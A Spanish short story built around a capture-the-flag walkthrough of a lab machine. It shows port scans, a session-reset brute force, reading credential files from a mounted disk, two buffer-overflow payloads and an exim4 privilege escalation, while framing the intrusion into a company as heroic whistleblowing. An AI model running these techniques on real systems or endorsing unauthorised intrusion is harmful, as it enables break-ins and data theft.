«No quería sino intentar vivir aquello que tendía a salir de mí, espontáneamente. ¿Por qué había de ser esto tan difícil?» — Hermann Hesse, Demian
El Pulpo no vive en el mar. Vive en un rack sin ventanas de una bodega de Quilicura, y sus ocho brazos no cazan cangrejos: cazan la verdad antes de que llegue a la luz. Nadie le puso ese nombre por poesía. Se lo pusieron porque, como el animal, no tiene un solo cerebro que decida — tiene ocho, y ninguno le pregunta al resto antes de morder.
El encargo llegó por un canal que no voy a nombrar: alguien de una agrupación de Til Til, hastiada de que la faena forestal de Tridente Global les secara el estero por sexto verano seguido sin que ningún fiscalizador apareciera nunca, quería saber por qué, y Tridente Global tenía su nombre en placas de bronce en un edificio de vidrio de Nueva Las Condes, entre Apoquindo e Isidora Goyenechea, con un directorio de rostros serios y una memoria de sustentabilidad a todo color, y tenía además, en un centro de datos sin cartel en Quilicura, un servidor al que sus propios administradores, en algún chat interno filtrado, llamaban «el Pulpo». Nadie explicaba por qué. Esa fue la primera grieta.
Antes de tocar nada me acordé de algo que alguna vez me dijeron, sin poder ubicar todavía esa noche ni la cara ni el nombre exacto de quien me lo dijo: que un pulpo de verdad cambia de color para esconderse, no para mentir, y que el mío iba a hacer las dos cosas — mostrarme una puerta preciosa, con luces, para que me quedara ahí toda la noche tocándola. Guardé la advertencia como quien guarda un cuchillo bueno, sin saber todavía en qué momento exacto lo iba a necesitar, y bajé al rack de Quilicura empezando por lo único honesto que existe al principio de cualquier trabajo: mirar qué puertas hay, sin tocar ninguna todavía.
$ sudo nmap -p- --min-rate 3000 -T4 192.168.56.109
$ sudo nmap -sCV -p22,80 192.168.56.109
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3
80/tcp open http Apache/2.4.62 (Debian)
Dos puertos, nada más, y detrás del 80 una fachada tan cuidada que costaba creer que fuera de verdad, un formulario de acceso con doble candado, usuario y clave primero, un código de cuatro cifras después, la clase de puerta que una empresa enseña con orgullo cuando alguien le pregunta por su «seguridad informática»:
$ curl -s -i -d "user=admin&pass=pegasus" http://192.168.56.109/login.php
HTTP/1.1 302 Found
Location: code.php
El segundo candado presumía de ser el fuerte, tres intentos por sesión, diez segundos de castigo si fallabas los tres, pero un candado que anuncia sus propias reglas casi siempre está confesando algo más, así que pedí el estado del contador en formato de máquina, no de humano, y la propia puerta me lo dijo con la boca llena:
$ curl -s -H "X-Requested-With: XMLHttpRequest" -b cookies.txt http://192.168.56.109/code.php
{"attempts_in_window":0,"remaining_in_window":3,"maxAttempts":3,
"hint":"Los intentos se resetean al cambiar la sesión"}
El candado no contaba los golpes contra la puerta, contaba los golpes de cada visita, y bastaba con anunciarse de nuevo, soltar la cookie, pedir una sesión limpia, para llegar siempre con las tres balas intactas, y con eso cuatro cifras dejan de ser un secreto y pasan a ser una cuestión de paciencia:
$ curl -s -X POST -H "X-Requested-With: XMLHttpRequest" -F "code=7239" -b cookies.txt http://192.168.56.109/code.php
{"status":"success","redirect":"dashboard.php","message":"Código correcto"}
Adentro, un panel con clientes, productos, facturas, gráficos de barras que subían y bajaban sin decir nada, una oficina de utilería montada para que alguien se quedara ahí filmando su propio reflejo, y probé cada rincón con paciencia de mercado, inyección SQL en cada campo, plantillas rotas, rutas ocultas, respaldos olvidados, y la puerta preciosa no llevaba a ninguna parte, era exactamente lo que esa advertencia sin nombre ya había anunciado, un color de defensa, no una defensa.
Ahí cometí el error que cualquiera comete cuando ya invirtió demasiadas horas en una hipótesis y no quiere soltarla: si la web me había dado un usuario, admin, razoné, ese mismo usuario debía abrir la puerta de servicio, la de SSH, y cuarenta y cinco minutos de fuerza bruta después, sin un solo acierto, entendí algo que debería haber sabido desde el principio: que un nombre de vitrina y un nombre de bodega casi nunca son la misma persona. admin vivía en una tabla de una base de datos de juguete. El sistema operativo, el edificio de verdad, ni siquiera lo conocía.
Dejé de tocar la puerta que brillaba, apagué al Pulpo entero, la máquina completa, no solo la sesión, y esperé a que se quedara del todo quieto, sin un solo brazo despierto vigilando. Un cuerpo dormido no siente el bisturí. Esa fue la ventaja, y también, aunque tardé un rato en admitirlo: lo que se hace sin testigos se siente, mientras se hace, como si no contara para nada. Monté una copia exacta de su disco, en solo lectura, lejos de cualquier ojo que pudiera despertarse:
$ VBoxManage controlvm "TheHackersLabs-Pulpo" poweroff $ sudo modprobe nbd max_part=16 $ sudo qemu-nbd --read-only -c /dev/nbd0 "Pulpo-disk001.vmdk" $ sudo mount -o ro,noload /dev/nbd0p1 /mnt/pulpo
En sus entrañas no había un solo empleado de vitrina, había tres nombres de bodega, los que de verdad limpiaban, cargaban y administraban el edificio mientras el directorio posaba para la memoria anual:
$ grep -vE "nologin|false" /mnt/pulpo/etc/passwd
root:x:0:0:root:/root:/bin/bash
jjjjj:x:1000:1000:jjjjj,,,:/home/jjjjj:/bin/bash
rubiales:x:1001:1001:rubiales,,,:/home/rubiales:/bin/bash
daflon:x:1003:1003:daflon,,,:/home/daflon:/bin/bash
Y en un rincón que nadie limpia nunca, el historial de una base de datos de pruebas, el equivalente digital de una libreta olvidada en el fondo de un cajón, alguien había dejado meses atrás una contraseña completa, sin saber que estaba firmando una carta para el futuro:
$ sudo cat /mnt/pulpo/root/.mysql_history | sed 's/\\040/ /g'
INSERT INTO users (username, password, ...) VALUES
('jjjjj', 'n031d$!d das23;lk&rop', ...);
Todo lo que respira, aunque respire dentro de una máquina, deja un rastro de lo que fue antes de aprender a mentir. jjjjj existía en las dos vidas del Pulpo, en la libreta de pruebas y en el sistema real, la misma clave, reciclada por pereza o por confianza, servía para las dos puertas, y lo que encontré después explicaba por fin el nombre: no era una metáfora del directorio de arriba jugando a sonar misterioso, era literal, tres tentáculos, tres saltos, cada uno negándose a hablar con quien no fuera el eslabón inmediato anterior:
$ sudo cat /mnt/pulpo/etc/sudoers | grep -v '^#'
jjjjj ALL=(rubiales) NOPASSWD: /opt/pikito
rubiales ALL=(daflon) NOPASSWD: /opt/pulpazo/rubiales
daflon ALL=(root) NOPASSWD: /usr/sbin/exim4
Cada salto no pedía una contraseña, pedía vencer a un guardián, y antes de vencer a nadie quise saber con qué armadura contaba cada uno, porque no es lo mismo empujar una puerta sin cerrojo que una con cerrojo y alarma:
$ python3 -c "from pwn import *; print(ELF('/tmp/pikito').checksec())"
$ python3 -c "from pwn import *; print(ELF('/tmp/rubiales_bin').checksec())"
pikito : Canario NO · PIE NO (dirección fija)
rubiales_bin : Canario SÍ · PIE SÍ (dirección aleatoria)
Cada guardián era un binario de treinta y pocos años de antigüedad, escrito con una función, gets(), que nunca aprendió a medir lo que tragaba, el primero se llamaba pikito, el segundo rubiales, y ninguno de los dos eligió nacer con esa falla, a un programa no le preguntan, antes de compilarlo, si quiere venir al mundo sin límites en su propio búfer, y sin embargo los dos iban a pagar primero, simplemente por estar primero en la fila:
$ objdump -d -M intel --disassemble=func pikito
8048538: call gets@plt ; buffer de 40 bytes, sin límite
8048545: cmp eax, 0xcafebabe
804854c: push "/bin/sh" ; call system@plt
# offset hasta la dirección de retorno: 40 (buffer) + 4 (saved EBP) = 44
$ python3 -c "
from pwn import *
payload = b'A'*44 + p32(0x0804854c)
print(payload)"
Sin canario que lo delatara bastaba con no tocar la variable que el binario comparaba y saltar directo al bloque que hacía lo que de verdad importaba, abrir una consola. No hizo falta convencer a pikito de nada. Hizo falta, apenas, no pedirle permiso. El segundo guardián sí llevaba armadura completa, canario, dirección de carga aleatoria, y por un momento pareció el primero en de verdad resistir, pero su manera de reconocer a un intruso no preguntaba quién era, preguntaba qué le susurraban al oído, y ese susurro se podía escribir con la misma mano que se lo entregaba:
654: cmp DWORD PTR [ebp+0x8], 0xcafebabe ; compara un ARGUMENTO, no una variable protegida
664: call system ; se ejecuta ANTES de revisar el canario
# offset hasta el argumento: 44 (buffer) + 4 (EBP) + 4 (retorno) = 52
$ python3 -c "
from pwn import *
payload = b'A'*52 + p32(0xcafebabe)
print(payload)"
rubiales no cayó por débil, cayó por confiar en la forma de la respuesta y no en quién la sostenía, igual que un funcionario que sella un documento sin preguntar de qué mano salió la pluma, y el canario que llevaba puesto habría sonado la alarma un instante después de que la puerta ya estuviera abierta, demasiado tarde para importarle a nadie. Probé los dos payloads primero en mi propia máquina, sin tocar todavía al Pulpo, porque un exploit que uno no ha visto funcionar en casa es solo una teoría con nombre bonito:
$ python3 -c "
from pwn import *
context.arch = 'i386'
io = process('/tmp/pikito'); io.sendline(b'A'*44 + p32(0x0804854c)); io.sendline(b'id')
print(io.recvall(timeout=2))"
uid=0(root) ... -- confirmado en local, antes de gastar un solo intento contra la máquina real
$ sshpass -p 'n031d$!d das23;lk&rop' ssh [email protected] jjjjj@pulpo:~$ sudo -u rubiales /opt/pikito overflow me: [payload de 44 + 0x0804854c] rubiales@pulpo:~$ sudo -u daflon /opt/pulpazo/rubiales overflow me: [payload de 52 + 0xcafebabe] daflon@pulpo:~$ cat /home/daflon/user.txt ████████████
Como daflon, tercer nombre, tercer tentáculo vencido, llegué al corazón del Pulpo, y el corazón no era un ojo ni una tenaza, era una boca, un servicio de correo, exim4, cuyo único trabajo declarado era repartir cartas de un lado a otro del edificio. A un cartero nadie lo arma. Nadie audita al que solo entrega sobres:
daflon@pulpo:~$ sudo -l (root) NOPASSWD: /usr/sbin/exim4 daflon@pulpo:~$ sudo /usr/sbin/exim4 -be '${run{/bin/cat /root/root.txt}}' ████████████
Le entregué a la boca un sobre con una orden escondida donde debía ir una dirección, y ella, fiel a su costumbre de nunca leer lo que reparte, la ejecutó como si solo estuviera cumpliendo con el correo del día, y en ese instante los ocho brazos dejaron de responder a Nueva Las Condes. Respondían a mí.
Tardé menos en tomar el cuerpo entero que en entender lo que guardaba. No era una base de clientes ni un respaldo administrativo. Era un archivo que alguien había escondido a propósito del resto de la propia empresa: contratos de «asesoría estratégica» firmados con tres asesores de comisiones parlamentarias, por sumas que no correspondían a ninguna asesoría real, cronometrados exactamente antes de cada votación que le convenía a Tridente Global; una segunda carpeta con la operación que llamaban internamente «Marea».
Ese nombre, «Marea», me devolvió sin avisar a una noche en Valparaíso, años antes de cualquier bodega y cualquier Pulpo, apoyados los dos en la baranda de un mirador con el puerto entero titilando abajo, cuando conocí a Marian y ella me habló del éter, esa sustancia que los físicos del siglo diecinueve inventaron para explicar cómo viajaba la luz sin tocar nada, y que resultó no existir. Le conté esa misma noche de un pulpo que sostuve una vez de niño, en San Antonio, el puerto de al lado donde crecí, y de cómo cambió de color sin que nadie se lo enseñara, y ella dijo que la poesía era exactamente eso: el éter que no existe pero que igual sostiene cada palabra que viaja de una boca a un oído sin que nadie entienda bien cómo. Fue un instante nomás, ahí, con el archivo de Tridente Global todavía abierto en la pantalla, y ya estaba de vuelta.
Esa segunda carpeta guardaba cuentas falsas, medios digitales de cartón, pagados para desprestigiar a los dirigentes de Til Til que denunciaban el estero seco, tratados como «activistas pagados por la competencia» en cientos de publicaciones idénticas disparadas el mismo minuto.
Los dirigentes de Til Til no eligieron que los llamaran mentirosos en sus propias calles. pikito y rubiales no eligieron nacer sin defensa. En algún punto de esa cadena, alguien sí eligió, con calma y con presupuesto, construir la fachada de vidrio, pagar la campaña de sombra, y confiar en que nadie bajaría nunca hasta la bodega de Quilicura a preguntar.
No me quedé con el cuerpo del Pulpo, aunque durante un rato entero, con root en la mano, entendí exactamente qué se siente tener esa opción. Empaqueté el archivo entero y lo dejé, esa misma madrugada, en un buzón sin remitente para dos periodistas de un medio que todavía hace preguntas incómodas, con instrucciones de verificar cada cifra antes de publicar una sola línea. Elegí eso. La luz no perdona por decreto: hay que dejarla entrar y después soportar lo que alumbra, incluido uno mismo, y esa es, creo, la única guerra que de verdad vale la pena pelear, porque es la única que todavía sostiene algo parecido a un corazón.
No se lo conté a nadie esa madrugada — no tenía a quién, todavía, aunque ya sospechaba, sin poder explicar bien por qué, que en algún momento sí lo tendría. Pensé otra vez en el éter que no existe y en la poesía que de todos modos viaja gracias a él, y pensé que la luz, cuando por fin sale, hace lo mismo: viaja sin que nadie entienda del todo cómo, y toca a alguien que ni siquiera sabía que la estaba esperando. Sé que el estero de Til Til, dicen, empezó a correr de nuevo esa misma semana, y que en la Estación Mapocho, dos meses después, se leyeron en voz alta, ante cámaras, los nombres de los tres asesores y las fechas exactas de cada pago. La luz mató esa sombra concreta. No sé, todavía, si mató la oscuridad, o si solo la obligó a cambiar de color una vez más, como el animal del que tomó el nombre, hasta la próxima bodega sin cartel.